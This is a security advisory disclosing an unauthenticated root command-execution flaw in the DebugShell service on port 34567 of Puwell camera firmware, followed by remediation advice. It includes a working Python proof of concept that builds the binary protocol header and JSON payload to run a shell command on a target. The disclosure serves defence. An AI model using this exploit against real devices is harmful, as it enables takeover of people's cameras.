A vulnerability affects all Puwell camera components. A debugging interface (DebugShell) remains enabled in production firmware and is exposed through a TCP service listening on port 34567. This interface allows unauthenticated users to execute arbitrary operating system commands with root privileges.
The firmware exposes an undocumented debugging service on TCP port 34567. This service implements a proprietary binary protocol encapsulating JSON messages that are processed by the DebugShell component.
An attacker with network access to the device (either from the local network or through the vendor's UDP hole-punching mechanism) can communicate directly with this service. No authentication, authorization, or session validation is performed before processing privileged requests.
Figure 1 : Decompiled code showing opcode "Command" handling
Figure 2 : Decompiled code showing JSON decoding (length, buffer start)
By sending specially crafted protocol messages containing the appropriate JSON payload, an attacker can invoke the Command handler exposed by DebugShell. The supplied command is passed directly to the underlying operating system without sanitization, resulting in arbitrary command execution with root privileges.
Successful exploitation leads to complete compromise of the affected device.
Figure 3 : Conditional branch handling DebugShell requests before executing the supplied command buffer when OprName is different from PingDev
Figure 4 : Unsanitized command execution path
The reconstructed binary protocol used by the TCP service is shown below.
Figure 5 : Binary protocol carrying the JSON payload processed by the TCP service on port 34567
The protocol header contains a Session field; however, its value is never validated nor associated with an authenticated connection. Any arbitrary value is accepted, allowing attackers to issue privileged requests without first establishing a legitimate session. This behavior is identical to the previously reported vulnerability affecting the same protocol.
The following Python proof of concept demonstrates that the TCP service exposed on port 34567 accepts and processes protocol messages without requiring authentication or prior session establishment.
Codeimport socket
import json
import sys
import struct
TARGET_IP = "192.168.2.42"
def _encode(payload):
if payload is None:
return b""
if isinstance(payload, dict):
return json.dumps(payload, separators=(",", ":")).encode() + b"\x00"
return str(payload).encode() + b"\x00"
def build_new(cmd: int, session: int, seq: int, payload) -> bytes:
data = _encode(payload)
hdr = struct.pack("<4sIIIHHI",
b"\xff\x00\x00\x00", 0xA55A0000,
session, seq, cmd, 0x0000, len(data),
)
return hdr + data
def exchange(sock, cmd: int, session: int, seq: int, payload):
pkt = build_new(cmd, session, seq, payload)
sock.sendall(pkt)
def do_rce(sock, cmd_str: str, session: int = 0):
payload = {
"Name": "DebugShell",
"SessionID": f"0x{session:08x}",
"OprName": "Ping",
"DebugShell": cmd_str,
}
exchange(sock, 0x2B2C, session, 2, payload)
def connect_to(ip: str, port: int):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5.0)
s.connect((ip, port))
return s
sock = connect_to(TARGET_IP, 34567)
do_rce(sock, "id > /tmp/pwned.txt", 0)
sock.close()
The DebugShell interface should be completely removed or disabled from production firmware.
If a debugging interface is required for development purposes, it should only be included in development builds and must enforce strong authentication and authorization mechanisms. Access to the service should be restricted to trusted management interfaces, disabled by default, and never exposed to untrusted networks.
Additionally, all incoming protocol fields, including session identifiers, should be properly validated before processing privileged operations.